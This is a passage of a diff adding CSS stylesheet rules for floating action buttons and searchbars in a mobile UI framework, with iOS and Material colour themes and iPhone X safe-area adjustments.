15px; +} +.ios .fab[class*="fab-right"] { + right: 15px; +} +.ios .fab[class*="-top"] { + top: 15px; +} +.ios .fab[class*="-bottom"] { + bottom: 15px; +} +.ios .navbar ~ * .fab[class*="-top"], +.ios .navbar ~ .fab[class*="-top"] { + margin-top: 44px; +} +.ios .toolbar ~ * .fab[class*="-bottom"], +.ios .toolbar ~ .fab[class*="-bottom"] { + margin-bottom: 44px; +} +.ios .tabbar-labels ~ * .fab[class*="-bottom"], +.ios .tabbar-labels ~ .fab[class*="-bottom"] { + margin-bottom: 50px; +} +@media (min-width: 768px) { + .ios .tabbar-labels ~ * .fab[class*="-bottom"], + .ios .tabbar-labels ~ .fab[class*="-bottom"] { + margin-bottom: 56px; + } +} +.ios .fab-morph { + border-radius: 25px; + background: #007aff; + -webkit-box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); + box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); +} +.ios .fab-morph > a { + -webkit-box-shadow: none; + box-shadow: none; + background: none !important; +} +.ios .fab-extended { + min-width: 50px; +} +.ios .fab-extended > a { + width: 100%; + height: 50px; +} +.ios .fab-extended > a i { + left: 25px; +} +.ios .fab-extended i ~ .fab-text { + padding-left: 50px; +} +.ios .fab-label { + -webkit-box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.4); + box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.4); +} +.ios .color-theme-red .fab > a, +.ios .color-theme-red .fab-buttons a, +.ios .color-theme-red.fab > a, +.ios .color-theme-red.fab-buttons a { + background: #ff3b30; +} +.ios .color-theme-red .fab > a.active-state, +.ios .color-theme-red .fab-buttons a.active-state, +.ios .color-theme-red.fab > a.active-state, +.ios .color-theme-red.fab-buttons a.active-state { + background: #ff1407; +} +.ios .color-theme-red .fab-morph, +.ios .color-theme-red.fab-morph { + background: #ff3b30; +} +.ios .color-theme-green .fab > a, +.ios .color-theme-green .fab-buttons a, +.ios .color-theme-green.fab > a, +.ios .color-theme-green.fab-buttons a { + background: #4cd964; +} +.ios .color-theme-green .fab > a.active-state, +.ios .color-theme-green .fab-buttons a.active-state, +.ios .color-theme-green.fab > a.active-state, +.ios .color-theme-green.fab-buttons a.active-state { + background: #2cd048; +} +.ios .color-theme-green .fab-morph, +.ios .color-theme-green.fab-morph { + background: #4cd964; +} +.ios .color-theme-blue .fab > a, +.ios .color-theme-blue .fab-buttons a, +.ios .color-theme-blue.fab > a, +.ios .color-theme-blue.fab-buttons a { + background: #007aff; +} +.ios .color-theme-blue .fab > a.active-state, +.ios .color-theme-blue .fab-buttons a.active-state, +.ios .color-theme-blue.fab > a.active-state, +.ios .color-theme-blue.fab-buttons a.active-state { + background: #0066d6; +} +.ios .color-theme-blue .fab-morph, +.ios .color-theme-blue.fab-morph { + background: #007aff; +} +.ios .color-theme-pink .fab > a, +.ios .color-theme-pink .fab-buttons a, +.ios .color-theme-pink.fab > a, +.ios .color-theme-pink.fab-buttons a { + background: #ff2d55; +} +.ios .color-theme-pink .fab > a.active-state, +.ios .color-theme-pink .fab-buttons a.active-state, +.ios .color-theme-pink.fab > a.active-state, +.ios .color-theme-pink.fab-buttons a.active-state { + background: #ff0434; +} +.ios .color-theme-pink .fab-morph, +.ios .color-theme-pink.fab-morph { + background: #ff2d55; +} +.ios .color-theme-yellow .fab > a, +.ios .color-theme-yellow .fab-buttons a, +.ios .color-theme-yellow.fab > a, +.ios .color-theme-yellow.fab-buttons a { + background: #ffcc00; +} +.ios .color-theme-yellow .fab > a.active-state, +.ios .color-theme-yellow .fab-buttons a.active-state, +.ios .color-theme-yellow.fab > a.active-state, +.ios .color-theme-yellow.fab-buttons a.active-state { + background: #d6ab00; +} +.ios .color-theme-yellow .fab-morph, +.ios .color-theme-yellow.fab-morph { + background: #ffcc00; +} +.ios .color-theme-orange .fab > a, +.ios .color-theme-orange .fab-buttons a, +.ios .color-theme-orange.fab > a, +.ios .color-theme-orange.fab-buttons a { + background: #ff9500; +} +.ios .color-theme-orange .fab > a.active-state, +.ios .color-theme-orange .fab-buttons a.active-state, +.ios .color-theme-orange.fab > a.active-state, +.ios .color-theme-orange.fab-buttons a.active-state { + background: #d67d00; +} +.ios .color-theme-orange .fab-morph, +.ios .color-theme-orange.fab-morph { + background: #ff9500; +} +.ios .color-theme-gray .fab > a, +.ios .color-theme-gray .fab-buttons a, +.ios .color-theme-gray.fab > a, +.ios .color-theme-gray.fab-buttons a { + background: #8e8e93; +} +.ios .color-theme-gray .fab > a.active-state, +.ios .color-theme-gray .fab-buttons a.active-state, +.ios .color-theme-gray.fab > a.active-state, +.ios .color-theme-gray.fab-buttons a.active-state { + background: #79797f; +} +.ios .color-theme-gray .fab-morph, +.ios .color-theme-gray.fab-morph { + background: #8e8e93; +} +.ios .color-theme-white .fab > a, +.ios .color-theme-white .fab-buttons a, +.ios .color-theme-white.fab > a, +.ios .color-theme-white.fab-buttons a { + background: #ffffff; +} +.ios .color-theme-white .fab > a.active-state, +.ios .color-theme-white .fab-buttons a.active-state, +.ios .color-theme-white.fab > a.active-state, +.ios .color-theme-white.fab-buttons a.active-state { + background: #ebebeb; +} +.ios .color-theme-white .fab-morph, +.ios .color-theme-white.fab-morph { + background: #ffffff; +} +.ios .color-theme-black .fab > a, +.ios .color-theme-black .fab-buttons a, +.ios .color-theme-black.fab > a, +.ios .color-theme-black.fab-buttons a { + background: #000000; +} +.ios .color-theme-black .fab > a.active-state, +.ios .color-theme-black .fab-buttons a.active-state, +.ios .color-theme-black.fab > a.active-state, +.ios .color-theme-black.fab-buttons a.active-state { + background: #000000; +} +.ios .color-theme-black .fab-morph, +.ios .color-theme-black.fab-morph { + background: #000000; +} +.ios .fab.color-red > a, +.ios .fab.color-red .fab-buttons > a, +.ios .fab-buttons.color-red a, +.ios .fab > a.color-red, +.ios .fab .fab-buttons > a.color-red { + background: #ff3b30; +} +.ios .fab.color-red > a.active-state, +.ios .fab.color-red .fab-buttons > a.active-state, +.ios .fab-buttons.color-red a.active-state, +.ios .fab > a.color-red.active-state, +.ios .fab .fab-buttons > a.color-red.active-state { + background: #ff1407; +} +.ios .fab-morph.color-red { + background: #ff3b30; +} +.ios .fab.color-green > a, +.ios .fab.color-green .fab-buttons > a, +.ios .fab-buttons.color-green a, +.ios .fab > a.color-green, +.ios .fab .fab-buttons > a.color-green { + background: #4cd964; +} +.ios .fab.color-green > a.active-state, +.ios .fab.color-green .fab-buttons > a.active-state, +.ios .fab-buttons.color-green a.active-state, +.ios .fab > a.color-green.active-state, +.ios .fab .fab-buttons > a.color-green.active-state { + background: #2cd048; +} +.ios .fab-morph.color-green { + background: #4cd964; +} +.ios .fab.color-blue > a, +.ios .fab.color-blue .fab-buttons > a, +.ios .fab-buttons.color-blue a, +.ios .fab > a.color-blue, +.ios .fab .fab-buttons > a.color-blue { + background: #007aff; +} +.ios .fab.color-blue > a.active-state, +.ios .fab.color-blue .fab-buttons > a.active-state, +.ios .fab-buttons.color-blue a.active-state, +.ios .fab > a.color-blue.active-state, +.ios .fab .fab-buttons > a.color-blue.active-state { + background: #0066d6; +} +.ios .fab-morph.color-blue { + background: #007aff; +} +.ios .fab.color-pink > a, +.ios .fab.color-pink .fab-buttons > a, +.ios .fab-buttons.color-pink a, +.ios .fab > a.color-pink, +.ios .fab .fab-buttons > a.color-pink { + background: #ff2d55; +} +.ios .fab.color-pink > a.active-state, +.ios .fab.color-pink .fab-buttons > a.active-state, +.ios .fab-buttons.color-pink a.active-state, +.ios .fab > a.color-pink.active-state, +.ios .fab .fab-buttons > a.color-pink.active-state { + background: #ff0434; +} +.ios .fab-morph.color-pink { + background: #ff2d55; +} +.ios .fab.color-yellow > a, +.ios .fab.color-yellow .fab-buttons > a, +.ios .fab-buttons.color-yellow a, +.ios .fab > a.color-yellow, +.ios .fab .fab-buttons > a.color-yellow { + background: #ffcc00; +} +.ios .fab.color-yellow > a.active-state, +.ios .fab.color-yellow .fab-buttons > a.active-state, +.ios .fab-buttons.color-yellow a.active-state, +.ios .fab > a.color-yellow.active-state, +.ios .fab .fab-buttons > a.color-yellow.active-state { + background: #d6ab00; +} +.ios .fab-morph.color-yellow { + background: #ffcc00; +} +.ios .fab.color-orange > a, +.ios .fab.color-orange .fab-buttons > a, +.ios .fab-buttons.color-orange a, +.ios .fab > a.color-orange, +.ios .fab .fab-buttons > a.color-orange { + background: #ff9500; +} +.ios .fab.color-orange > a.active-state, +.ios .fab.color-orange .fab-buttons > a.active-state, +.ios .fab-buttons.color-orange a.active-state, +.ios .fab > a.color-orange.active-state, +.ios .fab .fab-buttons > a.color-orange.active-state { + background: #d67d00; +} +.ios .fab-morph.color-orange { + background: #ff9500; +} +.ios .fab.color-gray > a, +.ios .fab.color-gray .fab-buttons > a, +.ios .fab-buttons.color-gray a, +.ios .fab > a.color-gray, +.ios .fab .fab-buttons > a.color-gray { + background: #8e8e93; +} +.ios .fab.color-gray > a.active-state, +.ios .fab.color-gray .fab-buttons > a.active-state, +.ios .fab-buttons.color-gray a.active-state, +.ios .fab > a.color-gray.active-state, +.ios .fab .fab-buttons > a.color-gray.active-state { + background: #79797f; +} +.ios .fab-morph.color-gray { + background: #8e8e93; +} +.ios .fab.color-white > a, +.ios .fab.color-white .fab-buttons > a, +.ios .fab-buttons.color-white a, +.ios .fab > a.color-white, +.ios .fab .fab-buttons > a.color-white { + background: #ffffff; +} +.ios .fab.color-white > a.active-state, +.ios .fab.color-white .fab-buttons > a.active-state, +.ios .fab-buttons.color-white a.active-state, +.ios .fab > a.color-white.active-state, +.ios .fab .fab-buttons > a.color-white.active-state { + background: #ebebeb; +} +.ios .fab-morph.color-white { + background: #ffffff; +} +.ios .fab.color-black > a, +.ios .fab.color-black .fab-buttons > a, +.ios .fab-buttons.color-black a, +.ios .fab > a.color-black, +.ios .fab .fab-buttons > a.color-black { + background: #000000; +} +.ios .fab.color-black > a.active-state, +.ios .fab.color-black .fab-buttons > a.active-state, +.ios .fab-buttons.color-black a.active-state, +.ios .fab > a.color-black.active-state, +.ios .fab .fab-buttons > a.color-black.active-state { + background: #000000; +} +.ios .fab-morph.color-black { + background: #000000; +} +.ios.device-iphone-x .fab[class*="-bottom"] { + bottom: calc(15px + constant(safe-area-inset-bottom)); + bottom: calc(15px + env(safe-area-inset-bottom)); +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .fab[class*="fab-left"], + .ios.device-iphone-x .ios-edges .fab[class*="fab-left"], + .ios.device-iphone-x .popup .fab[class*="fab-left"], + .ios.device-iphone-x .sheet-modal .fab[class*="fab-left"], + .ios.device-iphone-x .panel-left .fab[class*="fab-left"] { + left: calc(15px + constant(safe-area-inset-left)); + left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .fab[class*="fab-right"], + .ios.device-iphone-x .ios-edges .fab[class*="fab-right"], + .ios.device-iphone-x .popup .fab[class*="fab-right"], + .ios.device-iphone-x .sheet-modal .fab[class*="fab-right"], + .ios.device-iphone-x .panel-right .fab[class*="fab-right"] { + right: calc(15px + constant(safe-area-inset-right)); + right: calc(15px + env(safe-area-inset-right)); + } +} +.md .fab > a, +.md .fab-buttons a { + background: #2196f3; + width: 56px; + height: 56px; + border-radius: 28px; + color: #fff; + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); +} +.md .fab > a.active-state, +.md .fab-buttons a.active-state { + background: #0c82df; +} +.md .fab[class*="fab-left"] { + left: 15px; +} +.md .fab[class*="fab-right"] { + right: 15px; +} +.md .fab[class*="-top"] { + top: 15px; +} +.md .fab[class*="-bottom"] { + bottom: 15px; +} +.md .navbar ~ * .fab[class*="-top"], +.md .navbar ~ .fab[class*="-top"] { + margin-top: 56px; +} +@media (min-width: 768px) { + .md .navbar ~ * .fab[class*="-top"], + .md .navbar ~ .fab[class*="-top"] { + margin-top: 64px; + } +} +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .fab[class*="-top"], +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .fab[class*="-top"] { + margin-top: 48px; +} +.md .tabbar-labels:not(.toolbar-bottom-md) ~ * .fab[class*="-top"], +.md .tabbar-labels:not(.toolbar-bottom-md) ~ .fab[class*="-top"] { + margin-top: 72px; +} +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .fab[class*="-top"], +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .fab[class*="-top"] { + margin-top: 104px; +} +.md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ * .fab[class*="-top"], +.md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ .fab[class*="-top"] { + margin-top: 128px; +} +@media (min-width: 768px) { + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .fab[class*="-top"], + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .fab[class*="-top"] { + margin-top: 112px; + } + .md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ * .fab[class*="-top"], + .md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ .fab[class*="-top"] { + margin-top: 136px; + } +} +.md .toolbar-bottom-md ~ * .fab[class*="-bottom"], +.md .toolbar-bottom-md ~ .fab[class*="-bottom"], +.md .messagebar ~ * .fab[class*="-bottom"], +.md .messagebar ~ .fab[class*="-bottom"] { + margin-bottom: 48px; +} +.md .toolbar-bottom-md.tabbar-labels ~ * .fab[class*="-bottom"], +.md .toolbar-bottom-md.tabbar-labels ~ .fab[class*="-bottom"] { + margin-bottom: 72px; +} +.md .fab-morph { + border-radius: 28px; + background: #2196f3; + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); +} +.md .fab-morph > a { + -webkit-box-shadow: none; + box-shadow: none; + background: none !important; +} +.md .fab-extended { + min-width: 48px; +} +.md .fab-extended > a { + height: 48px; +} +.md .fab-extended > a i { + left: 24px; +} +.md .fab-extended i ~ .fab-text { + padding-left: 48px; +} +.md .fab-text { + font-weight: 500; + letter-spacing: 0.03em; +} +.md .fab-label { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12); +} +.md .color-theme-red .fab > a, +.md .color-theme-red .fab-buttons a, +.md .color-theme-red.fab > a, +.md .color-theme-red.fab-buttons a { + background: #f44336; +} +.md .color-theme-red .fab > a.active-state, +.md .color-theme-red .fab-buttons a.active-state, +.md .color-theme-red.fab > a.active-state, +.md .color-theme-red.fab-buttons a.active-state { + background: #f21f0f; +} +.md .color-theme-red .fab-morph, +.md .color-theme-red.fab-morph { + background: #f44336; +} +.md .color-theme-green .fab > a, +.md .color-theme-green .fab-buttons a, +.md .color-theme-green.fab > a, +.md .color-theme-green.fab-buttons a { + background: #4caf50; +} +.md .color-theme-green .fab > a.active-state, +.md .color-theme-green .fab-buttons a.active-state, +.md .color-theme-green.fab > a.active-state, +.md .color-theme-green.fab-buttons a.active-state { + background: #409343; +} +.md .color-theme-green .fab-morph, +.md .color-theme-green.fab-morph { + background: #4caf50; +} +.md .color-theme-blue .fab > a, +.md .color-theme-blue .fab-buttons a, +.md .color-theme-blue.fab > a, +.md .color-theme-blue.fab-buttons a { + background: #2196f3; +} +.md .color-theme-blue .fab > a.active-state, +.md .color-theme-blue .fab-buttons a.active-state, +.md .color-theme-blue.fab > a.active-state, +.md .color-theme-blue.fab-buttons a.active-state { + background: #0c82df; +} +.md .color-theme-blue .fab-morph, +.md .color-theme-blue.fab-morph { + background: #2196f3; +} +.md .color-theme-pink .fab > a, +.md .color-theme-pink .fab-buttons a, +.md .color-theme-pink.fab > a, +.md .color-theme-pink.fab-buttons a { + background: #e91e63; +} +.md .color-theme-pink .fab > a.active-state, +.md .color-theme-pink .fab-buttons a.active-state, +.md .color-theme-pink.fab > a.active-state, +.md .color-theme-pink.fab-buttons a.active-state { + background: #ca1452; +} +.md .color-theme-pink .fab-morph, +.md .color-theme-pink.fab-morph { + background: #e91e63; +} +.md .color-theme-yellow .fab > a, +.md .color-theme-yellow .fab-buttons a, +.md .color-theme-yellow.fab > a, +.md .color-theme-yellow.fab-buttons a { + background: #ffeb3b; +} +.md .color-theme-yellow .fab > a.active-state, +.md .color-theme-yellow .fab-buttons a.active-state, +.md .color-theme-yellow.fab > a.active-state, +.md .color-theme-yellow.fab-buttons a.active-state { + background: #ffe712; +} +.md .color-theme-yellow .fab-morph, +.md .color-theme-yellow.fab-morph { + background: #ffeb3b; +} +.md .color-theme-orange .fab > a, +.md .color-theme-orange .fab-buttons a, +.md .color-theme-orange.fab > a, +.md .color-theme-orange.fab-buttons a { + background: #ff9800; +} +.md .color-theme-orange .fab > a.active-state, +.md .color-theme-orange .fab-buttons a.active-state, +.md .color-theme-orange.fab > a.active-state, +.md .color-theme-orange.fab-buttons a.active-state { + background: #d68000; +} +.md .color-theme-orange .fab-morph, +.md .color-theme-orange.fab-morph { + background: #ff9800; +} +.md .color-theme-gray .fab > a, +.md .color-theme-gray .fab-buttons a, +.md .color-theme-gray.fab > a, +.md .color-theme-gray.fab-buttons a { + background: #9e9e9e; +} +.md .color-theme-gray .fab > a.active-state, +.md .color-theme-gray .fab-buttons a.active-state, +.md .color-theme-gray.fab > a.active-state, +.md .color-theme-gray.fab-buttons a.active-state { + background: #8a8a8a; +} +.md .color-theme-gray .fab-morph, +.md .color-theme-gray.fab-morph { + background: #9e9e9e; +} +.md .color-theme-white .fab > a, +.md .color-theme-white .fab-buttons a, +.md .color-theme-white.fab > a, +.md .color-theme-white.fab-buttons a { + background: #ffffff; +} +.md .color-theme-white .fab > a.active-state, +.md .color-theme-white .fab-buttons a.active-state, +.md .color-theme-white.fab > a.active-state, +.md .color-theme-white.fab-buttons a.active-state { + background: #ebebeb; +} +.md .color-theme-white .fab-morph, +.md .color-theme-white.fab-morph { + background: #ffffff; +} +.md .color-theme-black .fab > a, +.md .color-theme-black .fab-buttons a, +.md .color-theme-black.fab > a, +.md .color-theme-black.fab-buttons a { + background: #000000; +} +.md .color-theme-black .fab > a.active-state, +.md .color-theme-black .fab-buttons a.active-state, +.md .color-theme-black.fab > a.active-state, +.md .color-theme-black.fab-buttons a.active-state { + background: #000000; +} +.md .color-theme-black .fab-morph, +.md .color-theme-black.fab-morph { + background: #000000; +} +.md .fab.color-red > a, +.md .fab.color-red .fab-buttons > a, +.md .fab-buttons.color-red a, +.md .fab > a.color-red, +.md .fab .fab-buttons > a.color-red { + background: #f44336; +} +.md .fab.color-red > a.active-state, +.md .fab.color-red .fab-buttons > a.active-state, +.md .fab-buttons.color-red a.active-state, +.md .fab > a.color-red.active-state, +.md .fab .fab-buttons > a.color-red.active-state { + background: #f21f0f; +} +.md .fab-morph.color-red { + background: #f44336; +} +.md .fab.color-green > a, +.md .fab.color-green .fab-buttons > a, +.md .fab-buttons.color-green a, +.md .fab > a.color-green, +.md .fab .fab-buttons > a.color-green { + background: #4caf50; +} +.md .fab.color-green > a.active-state, +.md .fab.color-green .fab-buttons > a.active-state, +.md .fab-buttons.color-green a.active-state, +.md .fab > a.color-green.active-state, +.md .fab .fab-buttons > a.color-green.active-state { + background: #409343; +} +.md .fab-morph.color-green { + background: #4caf50; +} +.md .fab.color-blue > a, +.md .fab.color-blue .fab-buttons > a, +.md .fab-buttons.color-blue a, +.md .fab > a.color-blue, +.md .fab .fab-buttons > a.color-blue { + background: #2196f3; +} +.md .fab.color-blue > a.active-state, +.md .fab.color-blue .fab-buttons > a.active-state, +.md .fab-buttons.color-blue a.active-state, +.md .fab > a.color-blue.active-state, +.md .fab .fab-buttons > a.color-blue.active-state { + background: #0c82df; +} +.md .fab-morph.color-blue { + background: #2196f3; +} +.md .fab.color-pink > a, +.md .fab.color-pink .fab-buttons > a, +.md .fab-buttons.color-pink a, +.md .fab > a.color-pink, +.md .fab .fab-buttons > a.color-pink { + background: #e91e63; +} +.md .fab.color-pink > a.active-state, +.md .fab.color-pink .fab-buttons > a.active-state, +.md .fab-buttons.color-pink a.active-state, +.md .fab > a.color-pink.active-state, +.md .fab .fab-buttons > a.color-pink.active-state { + background: #ca1452; +} +.md .fab-morph.color-pink { + background: #e91e63; +} +.md .fab.color-yellow > a, +.md .fab.color-yellow .fab-buttons > a, +.md .fab-buttons.color-yellow a, +.md .fab > a.color-yellow, +.md .fab .fab-buttons > a.color-yellow { + background: #ffeb3b; +} +.md .fab.color-yellow > a.active-state, +.md .fab.color-yellow .fab-buttons > a.active-state, +.md .fab-buttons.color-yellow a.active-state, +.md .fab > a.color-yellow.active-state, +.md .fab .fab-buttons > a.color-yellow.active-state { + background: #ffe712; +} +.md .fab-morph.color-yellow { + background: #ffeb3b; +} +.md .fab.color-orange > a, +.md .fab.color-orange .fab-buttons > a, +.md .fab-buttons.color-orange a, +.md .fab > a.color-orange, +.md .fab .fab-buttons > a.color-orange { + background: #ff9800; +} +.md .fab.color-orange > a.active-state, +.md .fab.color-orange .fab-buttons > a.active-state, +.md .fab-buttons.color-orange a.active-state, +.md .fab > a.color-orange.active-state, +.md .fab .fab-buttons > a.color-orange.active-state { + background: #d68000; +} +.md .fab-morph.color-orange { + background: #ff9800; +} +.md .fab.color-gray > a, +.md .fab.color-gray .fab-buttons > a, +.md .fab-buttons.color-gray a, +.md .fab > a.color-gray, +.md .fab .fab-buttons > a.color-gray { + background: #9e9e9e; +} +.md .fab.color-gray > a.active-state, +.md .fab.color-gray .fab-buttons > a.active-state, +.md .fab-buttons.color-gray a.active-state, +.md .fab > a.color-gray.active-state, +.md .fab .fab-buttons > a.color-gray.active-state { + background: #8a8a8a; +} +.md .fab-morph.color-gray { + background: #9e9e9e; +} +.md .fab.color-white > a, +.md .fab.color-white .fab-buttons > a, +.md .fab-buttons.color-white a, +.md .fab > a.color-white, +.md .fab .fab-buttons > a.color-white { + background: #ffffff; +} +.md .fab.color-white > a.active-state, +.md .fab.color-white .fab-buttons > a.active-state, +.md .fab-buttons.color-white a.active-state, +.md .fab > a.color-white.active-state, +.md .fab .fab-buttons > a.color-white.active-state { + background: #ebebeb; +} +.md .fab-morph.color-white { + background: #ffffff; +} +.md .fab.color-black > a, +.md .fab.color-black .fab-buttons > a, +.md .fab-buttons.color-black a, +.md .fab > a.color-black, +.md .fab .fab-buttons > a.color-black { + background: #000000; +} +.md .fab.color-black > a.active-state, +.md .fab.color-black .fab-buttons > a.active-state, +.md .fab-buttons.color-black a.active-state, +.md .fab > a.color-black.active-state, +.md .fab .fab-buttons > a.color-black.active-state { + background: #000000; +} +.md .fab-morph.color-black { + background: #000000; +} +.md.device-iphone-x .fab[class*="-bottom"] { + bottom: calc(16px + constant(safe-area-inset-bottom)); + bottom: calc(16px + env(safe-area-inset-bottom)); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .fab[class*="fab-left"], + .md.device-iphone-x .ios-edges .fab[class*="fab-left"], + .md.device-iphone-x .popup .fab[class*="fab-left"], + .md.device-iphone-x .sheet-modal .fab[class*="fab-left"], + .md.device-iphone-x .panel-left .fab[class*="fab-left"] { + left: calc(16px + constant(safe-area-inset-left)); + left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .fab[class*="fab-right"], + .md.device-iphone-x .ios-edges .fab[class*="fab-right"], + .md.device-iphone-x .popup .fab[class*="fab-right"], + .md.device-iphone-x .sheet-modal .fab[class*="fab-right"], + .md.device-iphone-x .panel-right .fab[class*="fab-right"] { + right: calc(16px + constant(safe-area-inset-right)); + right: calc(16px + env(safe-area-inset-right)); + } +} +/* === Searchbar === */ +.searchbar { + width: 100%; + position: relative; + z-index: 200; +} +.searchbar .searchbar-input-wrap { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 100%; + height: 100%; + position: relative; +} +.searchbar .searchbar-input-wrap input[type="search"] { + padding: 0; +} +.searchbar .searchbar-input-wrap input::-webkit-search-cancel-button { + -webkit-appearance: none; + appearance: none; +} +.page > .searchbar { + position: absolute; + left: 0; + top: 0; +} +.searchbar-expandable { + position: absolute; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + pointer-events: none; +} +.searchbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.searchbar-disable-button { + cursor: pointer; + pointer-events: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + border: none; + outline: 0; + padding: 0; + margin: 0; + width: auto; + opacity: 0; +} +.searchbar-icon { + pointer-events: none; + background-position: center; + background-repeat: no-repeat; +} +.searchbar-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 100; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.searchbar-backdrop.searchbar-backdrop-in { + opacity: 1; + pointer-events: auto; +} +.page-content > .searchbar-backdrop { + position: fixed; +} +.searchbar-not-found { + display: none; +} +.hidden-by-searchbar, +.list .hidden-by-searchbar, +.list.li.hidden-by-searchbar, +.list li.hidden-by-searchbar { + display: none !important; +} +.ios .searchbar { + height: 44px; + background: #f7f7f8; +} +.ios .searchbar.no-hairline:after { + display: none !important; +} +.ios .searchbar input[type="search"], +.ios .searchbar input[type="text"] { + padding: 0 28px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 100%; + height: 100%; + display: block; + border: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border-radius: 10px; + border-radius: 8px; + font-family: inherit; + color: #000; + font-size: 17px; + font-weight: normal; + z-index: 30; + background-color: #e8e8ea; + position: relative; +} +.ios .searchbar input[type="search"]::-webkit-input-placeholder, +.ios .searchbar input[type="text"]::-webkit-input-placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar input[type="search"]:-ms-input-placeholder, +.ios .searchbar input[type="text"]:-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar input[type="search"]::-ms-input-placeholder, +.ios .searchbar input[type="text"]::-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar input[type="search"]::placeholder, +.ios .searchbar input[type="text"]::placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar .input-clear-button { + z-index: 40; + left: 7px; +} +.ios .searchbar-inner { + padding: 0 8px; +} +.ios .searchbar-icon { + width: 13px; + height: 13px; + position: absolute; + top: 50%; + margin-top: -6px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2013'%20enable-background%3D'new%200%200%2013%2013'%3E%3Cg%3E%3Cpath%20fill%3D'%23939398'%20d%3D'M5%2C1c2.2%2C0%2C4%2C1.8%2C4%2C4S7.2%2C9%2C5%2C9S1%2C7.2%2C1%2C5S2.8%2C1%2C5%2C1%20M5%2C0C2.2%2C0%2C0%2C2.2%2C0%2C5s2.2%2C5%2C5%2C5s5-2.2%2C5-5S7.8%2C0%2C5%2C0%20L5%2C0z'%2F%3E%3C%2Fg%3E%3Cline%20stroke%3D'%23939398'%20stroke-miterlimit%3D'10'%20stroke-width%3D'1.5'%20x1%3D'12.6'%20y1%3D'12.6'%20x2%3D'8.2'%20y2%3D'8.2'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; + z-index: 40; + right: 8px; +} +.ios .searchbar-backdrop { + background: rgba(0, 0, 0, 0.4); +} +.ios .searchbar-input-wrap { + height: 32px; +} +.ios .searchbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .searchbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .searchbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .searchbar-disable-button { + font-size: 17px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + color: #007aff; + display: none; +} +.ios .searchbar-disable-button.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + opacity: 0.3 !important; +} +.ios .searchbar-enabled .searchbar-disable-button { + pointer-events: auto; + opacity: 1; + margin-right: 8px; +} +.ios .searchbar:not(.searchbar-enabled) .searchbar-disable-button { + -webkit-transition-duration: 300ms !important; + transition-duration: 300ms !important; +} +.ios .searchbar-expandable { + right: 